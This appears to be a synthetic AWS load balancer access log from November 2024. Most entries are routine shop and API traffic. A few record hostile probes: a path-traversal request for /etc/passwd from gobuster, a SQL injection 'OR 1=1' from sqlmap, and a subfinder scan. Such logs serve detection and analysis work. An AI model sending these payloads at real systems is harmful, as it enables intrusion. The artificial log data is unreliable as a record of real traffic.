TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba4c-8b49e8b7abea4b6ea008d38e" "staging-alb.example.com" "-" 3 2024-11-01T00:11:40.132320Z "forward" "-" "-" "228.125.64.65:80" "200" "-" "-" -https 2024-11-01T00:11:41.522587Z prod-web-alb 208.59.215.150:58342 10.0.125.96:443 0.062980 0.402819 0.055091 200 200 616 14286 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba4d-37255854e5fa41748fdff2ce" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:41.522587Z "forward" "-" "-" "10.0.125.96:443" "200" "-" "-" -https 2024-11-01T00:11:43.102207Z prod-web-alb 162.1.182.69:23729 10.0.129.206:443 0.017814 0.395026 0.052895 302 302 70 7287 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba4f-3247e87603f241fca3838547" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:43.102207Z "forward" "-" "-" "10.0.129.206:443" "302" "-" "-" -http 2024-11-01T00:11:44.158162Z staging-alb 240.157.61.161:33778 63.232.223.155:443 0.120280 0.715079 0.129382 404 404 852 510 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba50-1d182bac8f5f4af090bcd35d" "staging-alb.example.com" "-" 9 2024-11-01T00:11:44.158162Z "forward" "-" "-" "63.232.223.155:443" "404" "-" "-" -http 2024-11-01T00:11:45.102358Z staging-alb 104.48.7.230:28927 105.24.99.65:8080 0.095249 0.564083 0.055377 302 302 805 11752 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba51-466ad4f5d71243ba8e17bcb2" "staging-alb.example.com" "-" 0 2024-11-01T00:11:45.102358Z "forward" "-" "-" "105.24.99.65:8080" "302" "-" "-" -https 2024-11-01T00:11:45.725693Z prod-web-alb 186.132.185.115:29378 10.0.220.32:443 0.034834 0.440344 0.074613 200 200 560 4014 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba51-14bd971acbd94784b9fd5872" "prod-web-alb.example.com" "-" 4 2024-11-01T00:11:45.725693Z "forward" "-" "-" "10.0.220.32:443" "200" "-" "-" -https 2024-11-01T00:11:46.606620Z prod-web-alb 12.104.200.143:64940 10.0.25.162:443 0.017311 0.023279 0.003429 404 404 182 10543 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba52-aa965358caf04765a7e59347" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:46.606620Z "forward" "-" "-" "10.0.25.162:443" "404" "-" "-" -http 2024-11-01T00:11:47.256319Z staging-alb 143.202.84.57:19234 31.236.85.108:443 0.122149 0.106197 0.079361 200 200 30 4005 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba53-8ee5fe2327f549e1838f56ff" "staging-alb.example.com" "-" 1 2024-11-01T00:11:47.256319Z "forward" "-" "-" "31.236.85.108:443" "200" "-" "-" -https 2024-11-01T00:11:48.829162Z prod-web-alb 226.152.104.120:57586 10.0.37.12:443 0.015263 0.161761 0.064886 200 200 74 476 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba54-f7b90b9b9e58409699db5af2" "-" "-" 7 2024-11-01T00:11:48.829162Z "forward" "-" "-" "10.0.37.12:443" "200" "-" "-" -https 2024-11-01T00:11:49.316436Z prod-web-alb 101.115.10.226:59543 10.0.53.224:443 0.049245 0.129185 0.069177 301 301 865 234 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba55-9aacec39693541c9a3a91e41" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:49.316436Z "forward" "-" "-" "10.0.53.224:443" "301" "-" "-" -https 2024-11-01T00:11:51.045549Z prod-api-alb 141.199.77.217:61506 10.0.209.132:443 0.080361 0.460580 0.045320 200 200 46 7942 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba57-735acf21ecdc4e3eba144907" "prod-api-alb.example.com" "-" 1 2024-11-01T00:11:51.045549Z "forward" "-" "-" "10.0.209.132:443" "200" "-" "-" -https 2024-11-01T00:11:51.355870Z prod-api-alb 22.109.150.102:45010 10.0.77.156:443 0.085015 0.228524 0.082465 200 200 414 4235 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba57-4e47c7c3b59548858c776ba2" "prod-api-alb.example.com" "-" 1 2024-11-01T00:11:51.355870Z "forward" "-" "-" "10.0.77.156:443" "200" "-" "-" -http 2024-11-01T00:11:52.821639Z staging-alb 193.27.228.156:61931 225.186.117.216:8080 0.036982 0.317230 0.034910 403 403 50 12132 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba58-a655c1226ebc4d3eb27d1936" "-" "-" 6 2024-11-01T00:11:52.821639Z "forward" "-" "-" "225.186.117.216:8080" "403" "-" "-" -https 2024-11-01T00:11:54.542745Z prod-web-alb 253.34.121.54:55829 10.0.115.178:443 0.023842 0.307675 0.041139 404 404 43 13297 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba5a-7b0ce7f7cf3b4b36b21b1aaa" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:54.542745Z "forward" "-" "-" "10.0.115.178:443" "404" "-" "-" -https 2024-11-01T00:11:56.382036Z staging-alb 92.57.198.119:31919 251.11.178.10:8080 0.143406 0.042435 0.094328 200 200 208 14064 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba5c-1d4b3c3298614a978f1afe1a" "staging-alb.example.com" "-" 10 2024-11-01T00:11:56.382036Z "forward" "-" "-" "251.11.178.10:8080" "200" "-" "-" -https 2024-11-01T00:11:56.652239Z prod-web-alb 84.149.75.226:53561 10.0.159.184:443 0.055389 0.118670 0.030219 301 301 849 12090 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba5c-e7834ad5aebf40c3b17dba19" "prod-web-alb.example.com" "-" 10 2024-11-01T00:11:56.652239Z "forward" "-" "-" "10.0.159.184:443" "301" "-" "-" -https 2024-11-01T00:11:57.607900Z prod-api-alb 122.3.163.180:35150 10.0.43.82:443 0.079921 0.274014 0.040622 200 200 926 9337 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba5d-a5c643beca09411fa7cd64bf" "prod-api-alb.example.com" "-" 2 2024-11-01T00:11:57.607900Z "forward" "-" "-" "10.0.43.82:443" "200" "-" "-" -https 2024-11-01T00:11:58.495173Z prod-web-alb 177.141.92.60:41362 10.0.153.88:443 0.086895 0.205046 0.053607 200 200 535 10482 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba5e-215edb791ae64ad88bb004be" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:58.495173Z "forward" "-" "-" "10.0.153.88:443" "200" "-" "-" -https 2024-11-01T00:12:00.335034Z staging-alb 238.112.162.36:26520 25.69.152.199:8080 0.143573 0.230802 0.124733 200 200 485 9579 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba60-0f43a5ce540e4fda8353bcf5" "staging-alb.example.com" "-" 2 2024-11-01T00:12:00.335034Z "forward" "-" "-" "25.69.152.199:8080" "200" "-" "-" -https 2024-11-01T00:12:00.482161Z prod-web-alb 100.149.131.115:22784 10.0.147.201:443 0.006998 0.417523 0.066175 302 302 705 3726 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba60-7a17f5c021de42f58c2797b5" "prod-web-alb.example.com" "-" 7 2024-11-01T00:12:00.482161Z "forward" "-" "-" "10.0.147.201:443" "302" "-" "-" -https 2024-11-01T00:12:00.842961Z prod-web-alb 97.41.252.9:28425 10.0.137.38:443 0.076660 0.432932 0.050885 200 200 449 8748 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba60-e82def6f6ff3433d9b3133e1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:00.842961Z "forward" "-" "-" "10.0.137.38:443" "200" "-" "-" -http 2024-11-01T00:12:02.290436Z staging-alb 80.13.164.187:31410 9.187.43.46:443 0.094900 0.707037 0.023486 302 302 417 3697 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba62-9e9a2f71f0ba46cabc15691e" "staging-alb.example.com" "-" 9 2024-11-01T00:12:02.290436Z "forward" "-" "-" "9.187.43.46:443" "302" "-" "-" -https 2024-11-01T00:12:03.015986Z prod-api-alb 223.89.49.221:39407 10.0.147.179:443 0.038954 0.364398 0.043080 200 200 239 5699 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba63-dda3840f910e4f05b5c4b1ac" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:03.015986Z "forward" "-" "-" "10.0.147.179:443" "200" "-" "-" -https 2024-11-01T00:12:04.390167Z prod-web-alb 107.220.74.238:30212 10.0.60.224:443 0.011168 0.271439 0.096574 200 200 410 3815 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba64-cb89469faeb14144af8f2bf4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:12:04.390167Z "forward" "-" "-" "10.0.60.224:443" "200" "-" "-" -http 2024-11-01T00:12:06.247454Z staging-alb 106.18.21.79:25351 216.236.163.99:80 0.034166 0.245527 0.124133 301 301 891 3525 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba66-09418203482c4378a6359bdb" "-" "-" 0 2024-11-01T00:12:06.247454Z "forward" "-" "-" "216.236.163.99:80" "301" "-" "-" -https 2024-11-01T00:12:07.359877Z staging-alb 217.54.234.22:49322 130.191.68.97:80 0.107496 0.076427 0.101888 200 200 885 8024 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba67-1f4d9100483742308eac6c8e" "staging-alb.example.com" "-" 3 2024-11-01T00:12:07.359877Z "forward" "-" "-" "130.191.68.97:80" "200" "-" "-" -https 2024-11-01T00:12:07.982715Z prod-api-alb 96.171.191.22:56393 10.0.231.71:443 0.040650 0.066985 0.089230 302 302 207 6246 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba67-a4cb7be380c642caa9301904" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:07.982715Z "forward" "-" "-" "10.0.231.71:443" "302" "-" "-" -https 2024-11-01T00:12:08.985527Z staging-alb 45.155.205.66:61759 154.159.58.221:80 0.025484 0.257911 0.075014 404 404 755 7328 "PUT /metrics HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba68-c64dca574e1d4b479c89349c" "-" "-" 4 2024-11-01T00:12:08.985527Z "forward" "-" "-" "154.159.58.221:80" "404" "-" "-" -https 2024-11-01T00:12:10.352252Z prod-api-alb 214.164.244.35:13050 10.0.213.97:443 0.037982 0.082510 0.012613 200 200 530 10291 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba6a-3636a9bd941a419a9cba72fe" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:10.352252Z "forward" "-" "-" "10.0.213.97:443" "200" "-" "-" -https 2024-11-01T00:12:11.048570Z staging-alb 11.136.110.235:31978 51.19.53.199:8080 0.025452 0.323755 0.066981 302 302 619 12407 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba6b-1956b74f7bf14132b67c48ca" "staging-alb.example.com" "-" 8 2024-11-01T00:12:11.048570Z "forward" "-" "-" "51.19.53.199:8080" "302" "-" "-" -https 2024-11-01T00:12:11.512921Z prod-web-alb 38.248.195.208:56846 10.0.253.245:443 0.015754 0.457982 0.079149 200 200 354 9743 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba6b-9ae4e5e6628f4acaa6c4e94a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:11.512921Z "forward" "-" "-" "10.0.253.245:443" "200" "-" "-" -http 2024-11-01T00:12:12.984917Z staging-alb 76.23.141.246:44936 189.23.8.247:8080 0.029590 0.653503 0.051286 200 200 600 4032 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba6c-749280b7648c4179a813f12e" "staging-alb.example.com" "-" 3 2024-11-01T00:12:12.984917Z "forward" "-" "-" "189.23.8.247:8080" "200" "-" "-" -https 2024-11-01T00:12:13.995357Z prod-api-alb 18.28.122.102:57395 10.0.77.136:443 0.013182 0.202330 0.062556 302 302 643 5841 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba6d-64612c27f11e42c9b2c0ebf6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:13.995357Z "forward" "-" "-" "10.0.77.136:443" "302" "-" "-" -https 2024-11-01T00:12:15.076798Z prod-web-alb 190.125.168.21:50417 10.0.71.214:443 0.005898 0.358365 0.030212 200 200 561 6067 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba6f-578edbb7c11d433c830e3614" "prod-web-alb.example.com" "-" 0 2024-11-01T00:12:15.076798Z "forward" "-" "-" "10.0.71.214:443" "200" "-" "-" -https 2024-11-01T00:12:16.429851Z staging-alb 166.225.162.9:49942 235.149.165.61:443 0.137185 0.536838 0.060351 301 301 759 4722 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba70-201b20d407554f34a2b24a34" "staging-alb.example.com" "-" 8 2024-11-01T00:12:16.429851Z "forward" "-" "-" "235.149.165.61:443" "301" "-" "-" -https 2024-11-01T00:12:16.669534Z staging-alb 199.210.20.106:20764 10.218.159.248:8080 0.045127 0.496722 0.139166 404 404 408 242 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba70-35119f10e43a4bfe9621745d" "staging-alb.example.com" "-" 8 2024-11-01T00:12:16.669534Z "forward" "-" "-" "10.218.159.248:8080" "404" "-" "-" -https 2024-11-01T00:12:18.506859Z prod-api-alb 46.235.50.89:60658 10.0.184.223:443 0.062761 0.108050 0.032397 302 302 522 14170 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba72-b8d9e3783a52445fbfa198ad" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:18.506859Z "forward" "-" "-" "10.0.184.223:443" "302" "-" "-" -https 2024-11-01T00:12:20.019273Z prod-web-alb 80.64.185.70:21992 10.0.143.59:443 0.007545 0.000727 0.020133 302 302 89 14324 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba74-f5e2f84e78b045999102f3eb" "prod-web-alb.example.com" "-" 2 2024-11-01T00:12:20.019273Z "forward" "-" "-" "10.0.143.59:443" "302" "-" "-" -http 2024-11-01T00:12:20.563865Z staging-alb 220.170.61.248:13834 209.111.176.55:8080 0.004163 0.422166 0.078940 200 200 540 741 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba74-1a6350123b414e55a2429c8d" "staging-alb.example.com" "-" 9 2024-11-01T00:12:20.563865Z "forward" "-" "-" "209.111.176.55:8080" "200" "-" "-" -https 2024-11-01T00:12:22.158723Z prod-api-alb 145.97.245.117:58267 10.0.251.45:443 0.003483 0.091992 0.092294 302 302 534 3259 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba76-4e898736aa6949778d538345" "prod-api-alb.example.com" "-" 9 2024-11-01T00:12:22.158723Z "forward" "-" "-" "10.0.251.45:443" "302" "-" "-" -https 2024-11-01T00:12:23.227122Z prod-api-alb 178.226.15.53:48007 10.0.255.93:443 0.062350 0.382187 0.056284 200 200 544 9468 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba77-ffdad4d9f9c0499490c96871" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:23.227122Z "forward" "-" "-" "10.0.255.93:443" "200" "-" "-" -https 2024-11-01T00:12:24.817530Z staging-alb 211.1.232.21:10774 29.122.32.8:80 0.064403 0.573273 0.080952 301 301 270 6626 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba78-fe412ad531824143b6d06e76" "staging-alb.example.com" "-" 7 2024-11-01T00:12:24.817530Z "forward" "-" "-" "29.122.32.8:80" "301" "-" "-" -http 2024-11-01T00:12:25.844920Z staging-alb 204.80.20.104:33146 251.117.157.253:8080 0.054110 0.707900 0.079859 200 200 638 10489 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba79-7faa427718a34d488a10e20d" "staging-alb.example.com" "-" 6 2024-11-01T00:12:25.844920Z "forward" "-" "-" "251.117.157.253:8080" "200" "-" "-" -https 2024-11-01T00:12:26.081923Z prod-api-alb 21.31.53.191:40792 10.0.35.130:443 0.049779 0.025316 0.085173 301 301 316 4084 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba7a-1566215de71d4076821e42a4" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:26.081923Z "forward" "-" "-" "10.0.35.130:443" "301" "-" "-" -https 2024-11-01T00:12:27.714982Z prod-web-alb 6.7.254.234:16583 10.0.232.12:443 0.093475 0.405955 0.020671 301 301 726 13435 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba7b-a2fa0f1add4f48b28febc8a6" "-" "-" 0 2024-11-01T00:12:27.714982Z "forward" "-" "-" "10.0.232.12:443" "301" "-" "-" -https 2024-11-01T00:12:28.987934Z prod-web-alb 185.181.118.169:63920 10.0.107.200:443 0.039840 0.116630 0.004779 500 500 748 6879 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba7c-3089c1acc50041b6a53e4e4a" "-" "-" 6 2024-11-01T00:12:28.987934Z "forward" "-" "-" "10.0.107.200:443" "500" "-" "-" -https 2024-11-01T00:12:29.260388Z prod-api-alb 90.79.237.169:59507 10.0.217.115:443 0.017947 0.461920 0.016812 302 302 108 9173 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba7d-da0c7db038fa485f90fbb075" "prod-api-alb.example.com" "-" 10 2024-11-01T00:12:29.260388Z "forward" "-" "-" "10.0.217.115:443" "302" "-" "-" -https 2024-11-01T00:12:30.016760Z prod-api-alb 148.192.236.83:48199 10.0.148.53:443 0.023854 0.404802 0.051086 200 200 567 10992 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba7e-ec27e11494644eaebb3b11c3" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:30.016760Z "forward" "-" "-" "10.0.148.53:443" "200" "-" "-" -https 2024-11-01T00:12:31.303853Z prod-api-alb 47.233.67.229:25133 10.0.177.6:443 0.049589 0.250792 0.077318 200 200 544 7463 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba7f-f16b1506518e44f699711f9d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:12:31.303853Z "forward" "-" "-" "10.0.177.6:443" "200" "-" "-" -https 2024-11-01T00:12:32.043730Z prod-api-alb 54.246.11.180:64941 